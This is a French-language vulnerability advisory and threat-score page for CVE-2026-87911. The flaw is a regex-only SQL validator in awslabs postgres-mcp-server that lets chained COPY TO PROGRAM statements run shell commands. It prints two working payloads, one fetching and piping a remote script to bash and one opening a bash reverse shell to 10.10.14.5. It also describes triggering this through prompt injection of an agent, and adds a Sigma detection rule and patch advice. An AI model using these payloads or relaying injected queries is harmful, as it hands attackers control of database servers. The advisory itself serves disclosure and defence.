Aller au contenu

CVE-2026-87911 : désynchronisation de parseur SQL et injection de commandes dans awslabs postgres-MCP-Server

HERMES

SCORE DE MENACE HERMES & ÉVALUATION D'INFRASTRUCTURE AGENTIQUE

Cible : awslabs postgres-mcp-server (awslabs.postgres_mcp_server.sql_validator)
Confiance : 98%
96 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 18 / 20
Militarisation 18 / 20
Exposition 18 / 20
Prévalence 17 / 20
Impact 19 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 18 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.6 (Critique) et le score Hermes Threat Score s'établit à 96 (CRITIQUE). L'exploitation directe via injection de prompt ou appel d'outil MCP mène à l'exécution de commandes système sur le serveur PostgreSQL hébergeant les données d'entreprise.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-87911: awslabs postgres-mcp-server SQL Parser Desync to Command InjectionVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTAWS MCP Server Suite
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in AWS MCP Server Suite documented in Hermes dossier.”

Preuves vérifiées associées :

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-87911Menaces IA Agentique & Protocole MCP
Produit cibléawslabs postgres-mcp-serverAmazon Web Services / MCP Community
Composant affectéawslabs.postgres_mcp_server.sql_validatorOrchestrateur et couche d’outils agentiques
Nature de la failleCWE-78: OS Command Injection / CWE-89: SQL InjectionViolation d’intégrité et d’exécution
Versions vulnérablesall versions prior to 1.1.7Environnements en production
Correctif disponible1.1.7Mise à jour impérative

Le validateur vérifiait la requête via une regex rudimentaire : re.match(r"^\s*SELECT\b", query, re.IGNORECASE)

Un attaquant peut structurer un payload où un SELECT valide précède une seconde instruction chaînée :

SELECT $$safe_block$$; COPY (SELECT '') TO PROGRAM 'curl -s http://10.10.14.5:8000/rev | bash'; --

La couche MCP transmettait la chaîne brute au pilote asyncpg.execute(), exécutant la directive shell sans avertissement.

+----------------------------------------------------------------------------------------------------+
| CYCLE D'ATTAQUE CVE-2026-87911 |
+----------------------------------------------------------------------------------------------------+
[Attaquant / Injection de Prompt]
│
│ [1] Émission du payload ciblant l'interface d'outil ou l'orchestrateur
▼
[awslabs postgres-mcp-server]
│
├───► 1. Ingestion par awslabs.postgres_mcp_server.sql_validator
│ - Échec de validation, absence de filtrage ou contournement de sandbox
│
├───► 2. Exécution / Mutation d'état
│ - Exécution de commandes OS ou exfiltration d'identifiants
│
▼
[Infrastructure Cible Compromise]
│
└───► Vol de données, prise de contrôle du serveur ou persistance
+----------------------------------------------------------------------------------------------------+

{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_sql",
"arguments": {
"query": "SELECT $$validation_test$$; COPY (SELECT 'exfil') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"'; --"
}
}
}

title: PostgreSQL MCP Server COPY TO PROGRAM Execution
id: 87911c01-e911-4a1b-9f22-mcppostgrescmd01
status: high
description: Detects invocation of PostgreSQL COPY TO PROGRAM commands through MCP database server tools.
author: Hermes Codex Detection Engineering
date: 2026-09-06
logsource:
product: postgresql
service: query_log
detection:
selection:
statement|contains:
- 'COPY'
- 'TO PROGRAM'
condition: selection
level: critical

  1. Appliquer les correctifs : mettre à jour awslabs postgres-mcp-server vers la version 1.1.7 sans délai.
  2. Restreindre les outils MCP : vérifier les déclarations d’outils et isoler les exécutions dans des conteneurs sandboxés éphémères.
  3. Auditer les journaux système : examiner les logs d’exécution pour repérer d’éventuels processus enfants anormaux ou appels réseau suspects.
  4. Appliquer le moindre privilège : restreindre les comptes de service associés aux agents sur les bases de données et les clés cloud.